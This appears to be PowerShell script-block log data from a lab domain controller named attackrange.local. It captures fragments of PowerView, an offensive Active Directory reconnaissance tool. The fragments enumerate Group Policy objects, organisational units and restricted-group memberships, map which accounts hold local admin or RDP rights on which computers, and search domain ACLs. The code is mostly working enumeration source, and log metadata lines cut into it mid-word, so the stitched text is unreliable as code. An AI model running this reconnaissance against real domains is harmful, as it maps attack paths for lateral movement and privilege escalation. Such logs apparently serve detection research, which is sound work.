Get-GroupsXML and those memberships are returned as well.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
.PARAMETER ResolveMembersToSIDs
Switch. Indicates that any member names should be resolved to their domain SIDs.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGPOLocalGroup
Returns all local groups set by GPO along with their members and memberof.
.EXAMPLE
Get-DomainGPOLocalGroup -ResolveMembersToSIDs
Returns all local groups set by GPO along with their members and memberof,
and resolve any members to their domain SIDs.
.EXAMPLE
'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup
Return any GPO-set groups for the GPO with the given name/GUID.
.EXAMPLE
Get-DomainGPOLocalGroup 'Desktops'
Return any GPO-set groups for the GPO with the given display name.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPOLocalGroup -Credential $Cred
.LINK
https://morgansimonsenblog.azurewebsites.net/tag/groups/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GPOGroup')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Switch]
$ResolveMembersToSIDs,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ConvertArguments = @{}
if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
$SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
Get-DomainGPO @SearcherArguments | ForEach-Object {
$GPOdisplayName = $_.displayname
$GPOname = $_.name
$GPOPath = $_.gpcfilesyspath
$ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" }
if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
# first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists
$Inf = Get-GptTmpl @ParseArgs
if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {
$Memberships = @{}
# parse the members/memberof fields for each entry
ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
$Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()}
# extract out ALL members
$MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}
if ($PSBoundParameters['ResolveMembersToSIDs']) {
# if the resulting member is username and not a SID, attempt to resolve it
$GroupMembers = @()
ForEach ($Member in $MembershipValue) {
if ($Member -and ($Member.Trim() -ne '')) {
if ($Member -notmatch '^S-1-.*') {
$ConvertToArguments = @{'ObjectName' = $Member}
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
$MemberSID = ConvertTo-SID @ConvertToArguments
if ($MemberSID) {
$GroupMembers += $MemberSID
}
else {
$GroupMembers += $Member
}
}
else {
$GroupMembers += $Member
}
}
}
$MembershipValue = $GroupMembers
}
if (-not $Memberships[$Group]) {
$Memberships[$Group] = @{}
}
if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}
$Memberships[$Group].Add($Relation, $MembershipValue)
}
ForEach ($Membership in $Memberships.GetEnumerator()) {
if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
# if the SID is already resolved (i.e. begins with *) try to resolve SID to a name
$GroupSID = $Membership.Key.Trim('*')
if ($GroupSID -and ($GroupSID.Trim() -ne '')) {
$GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments
}
else {
$GroupName = $False
}
}
else {
$GroupName = $Membership.Key
if ($GroupName -and ($GroupName.Trim() -ne '')) {
if ($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif ($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif ($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
elseif ($GroupName.Trim() -ne '') {
$ConvertToArguments = @{'ObjectName' = $Groupname}
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
$GroupSID = ConvertTo-SID @ConvertToArguments
}
else {
$GroupSID = $Null
}
}
}
$GPOGroup = New-Object PSObject
$GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
$GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
$GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
$GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
$GPOGroup | Add-Member Noteproperty 'Filters' $Null
$GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
$GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
$GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof
$GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
$GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
$GPOGroup
}
}
# now try to the parse group policy preferences file (Groups.xml) if it exists
$ParseArgs = @{
'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
}
Get-GroupsXML @ParseArgs | ForEach-Object {
if ($PSBoundParameters['ResolveMembersToSIDs']) {
$GroupMembers = @()
ForEach ($Member in $_.GroupMembers) {
if ($Member -and ($Member.Trim() -ne '')) {
if ($Member -notmatch '^S-1-.*') {
# if the resulting member is username and not a SID, attempt to resolve it
$ConvertToArguments = @{'ObjectName' = $Groupname}
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
$MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member
if ($MemberSID) {
$GroupMembers += $MemberSID
}
else {
$GroupMembers += $Member
}
}
else {
$GroupMembers += $Member
}
}
}
$_.GroupMembers = $GroupMembers
}
$_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
$_ | Add-Member Noteproperty 'GPOName' $GPOName
$_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
$_
}
}
}
}
function Get-DomainGPOUserLocalGroupMapping {
<#
.SYNOPSIS
Enumerates the machines where a specific domain user/group is a member of a specific
local group, all through GPO correlation. If no user/group is specified, all
discoverable mappings are returned.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup
.DESCRIPTION
Takes a user/group name and optional domain, and determines the computers in the domain
the user/group has local admin (or RDP) rights to.
It does this by:
1. resolving the user/group to its proper SID
2. enumerating all groups the user/group is a current part of
and extracting all target SIDs to build a target SID list
3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling
Get-DomainGPOLocalGroup
4. matching the target SID list to the queried GPO SID list
to enumerate all GPO the user is effectively applied with
5. enumerating all OUs and sites and applicable GPO GUIs are
applied to through gplink enumerating
6. querying for all computers under the given OUs or sites
If no user/group is specified, all user/group -> machine mappings discovered through
GPO relationships are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the user/group to identity GPO local group mappings for.
.PARAMETER LocalGroup
The local group to check accesd123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1
4104132150x02372870Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2541tents) {
$Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath
$Contents
}
}
else {
$Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
if ($Contents) {
$Contents['Path'] = $TargetGptTmplPath
$Contents
}
}
}
catch {
Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-GroupsXML {
<#
.SYNOPSIS
Helper to parse a groups.xml file path into a custom object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID
.DESCRIPTION
Parses a groups.xml into a custom object. If -Credential is passed,
Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
.PARAMETER GroupsXMLpath
Specifies the groups.xml file path name to parse.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.OUTPUTS
PowerView.GroupsXML
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GroupsXML')]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Path')]
[String]
$GroupsXMLPath,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
[XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop
# process all group properties in the XML
$GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
$Groupname = $_.Properties.groupName
# extract the localgroup sid for memberof
$GroupSID = $_.Properties.groupSid
if (-not $GroupSID) {
if ($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif ($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif ($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
else {
if ($PSBoundParameters['Credential']) {
$GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential
}
else {
$GroupSID = ConvertTo-SID -ObjectName $Groupname
}
}
}
# extract out members added to this group
$Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
if ($_.sid) { $_.sid }
else { $_.name }
}
if ($Members) {
# extract out any/all filters...I hate you GPP
if ($_.filters) {
$Filters = $_.filters.GetEnumerator() | ForEach-Object {
New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
}
}
else {
$Filters = $Null
}
if ($Members -isnot [System.Array]) { $Members = @($Members) }
$GroupsXML = New-Object PSObject
$GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
$GroupsXML | Add-Member Noteproperty 'Filters' $Filters
$GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName
$GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID
$GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null
$GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members
$GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML')
$GroupsXML
}
}
}
catch {
Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-DomainGPO {
<#
.SYNOPSIS
Return all GPOs or specific GPO objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all GPO objects for
the current domain are returned. To enumerate all GPOs that are applied to
a particular machine, use -ComputerName X.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
.PARAMETER ComputerIdentity
Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.).
.PARAMETER UserIdentity
Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainGPO -Domain testlab.local
Return all GPOs for the testlab.local domain
.EXAMPLE
Get-DomainGPO -ComputerName windows1.testlab.local
Returns all GPOs applied windows1.testlab.local
.EXAMPLE
"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO
Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display
name of "Test GPO"
.EXAMPLE
Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPO -Credential $Cred
.OUTPUTS
PowerView.GPO
Custom PSObject with translated GPO property fields.
PowerView.GPO.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.GPO')]
[OutputType('PowerView.GPO.Raw')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Parameter(ParameterSetName = 'ComputerIdentity')]
[Alias('ComputerName')]
[ValidateNotNullOrEmpty()]
[String]
$ComputerIdentity,
[Parameter(ParameterSetName = 'UserIdentity')]
[Alias('UserName')]
[ValidateNotNullOrEmpty()]
[String]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$GPOSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($GPOSearcher) {
if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) {
$GPOAdsPaths = @()
if ($SearcherArguments['Properties']) {
$OldProperties = $SearcherArguments['Properties']
}
$SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
$TargetComputerName = $Null
if ($PSBoundParameters['ComputerIdentity']) {
$SearcherArguments['Identity'] = $ComputerIdentity
$Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1
if(-not $Computer) {
Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!"
}
$ObjectDN = $Computer.distinguishedname
$TargetComputerName = $Computer.dnshostname
}
else {
$SearcherArguments['Identity'] = $UserIdentity
$User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1
if(-not $User) {
Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!"
}
$ObjectDN = $User.distinguishedname
}
# extract all OUs the target user/computer is a part of
$ObjectOUs = @()
$ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
if($_.startswith('OU=')) {
$ObjectDN.SubString($ObjectDN.IndexOf("$($_),"))
}
}
Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"
if ($ObjectOUs) {
# find all the GPOs linked to the user/computer's OUs
$SearcherArguments.Remove('Properties')
$InheritanceDisabled = $False
ForEach($ObjectOU in $ObjectOUs) {
$SearcherArguments['Identity'] = $ObjectOU
$GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object {
# extract any GPO links for this particular OU the computer is a part of
if ($_.gplink) {
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$Parts = $_.split(';')
$GpoDN = $Parts[0]
$Enforced = $Parts[1]
if ($InheritanceDisabled) {
# if inheritance has already been disabled and this GPO is set as "enforced"
# then add it, otherwise ignore it
if ($Enforced -eq 2) {
$GpoDN
}
}
else {
# inheritance not marked as disabled yet
$GpoDN
}
}
}
}
# if this OU has GPO inheritence disabled, break so additional OUs aren't processed
if ($_.gpoptions -eq 1) {
$InheritanceDisabled = $True
}
}
}
}
if ($TargetComputerName) {
# find all the GPOs linked to the computer's site
$ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName
if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
$SearcherArguments['Identity'] = $ComputerSite
$GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular site the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
}
}
# find any GPOs linked to the user/computer's domain
$ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC='))
$SearcherArguments.Remove('Identity')
$SearcherArguments.Remove('Properties')
$SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)"
$GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular domain the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths"
# restore the old properites to return, if set
if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
else { $SearcherArguments.Remove('Properties') }
$SearcherArguments.Remove('Identity')
$GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
# use the gplink as an ADS path to enumerate all GPOs for the computer
$SearcherArguments['SearchBase'] = $_
$SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)"
Get-DomainObject @SearcherArguments | ForEach-Object {
if ($PSBoundParameters['Raw']) {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
}
$_
}
}
}
else {
$IdentityFilter = ''
$Filter = ''
d123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1
4104132150x02372863Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local1841 $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments
# "IdentityReferenceDN: $IdentityReferenceDN"
if ($IdentityReferenceDN) {
$IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
# "IdentityReferenceDomain: $IdentityReferenceDomain"
$ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain
$ObjectSearcherArguments['Identity'] = $IdentityReferenceDN
# "IdentityReferenceDN: $IdentityReferenceDN"
$Object = Get-DomainObject @ObjectSearcherArguments
if ($Object) {
$IdentityReferenceName = $Object.Properties.samaccountname[0]
if ($Object.Properties.objectclass -match 'computer') {
$IdentityReferenceClass = 'computer'
}
elseif ($Object.Properties.objectclass -match 'group') {
$IdentityReferenceClass = 'group'
}
elseif ($Object.Properties.objectclass -match 'user') {
$IdentityReferenceClass = 'user'
}
else {
$IdentityReferenceClass = $Null
}
# save so we don't look up more than once
$ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass
$InterestingACL = New-Object PSObject
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
if ($_.ObjectAceType) {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
}
else {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
}
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
$InterestingACL
}
}
else {
Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName"
}
}
}
}
}
}
}
function Get-DomainOU {
<#
.SYNOPSIS
Search for all organization units (OUs) or specific OU objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties whencreated,usnchanged,...". By default, all OU objects for
the current domain are returned.
.PARAMETER Identity
An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted.
.PARAMETER GPLink
Only return OUs with the specified GUID in their gplink property.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainOU
Returns the current OUs in the domain.
.EXAMPLE
Get-DomainOU *admin* -Domain testlab.local
Returns all OUs with "admin" in their name in the testlab.local domain.
.EXAMPLE
Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
Returns all OUs with linked to the specified group policy object.
.EXAMPLE
"*admin*","*server*" | Get-DomainOU
Search for OUs with the specific names.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainOU -Credential $Cred
.OUTPUTS
PowerView.OU
Custom PSObject with translated OU property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.OU')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
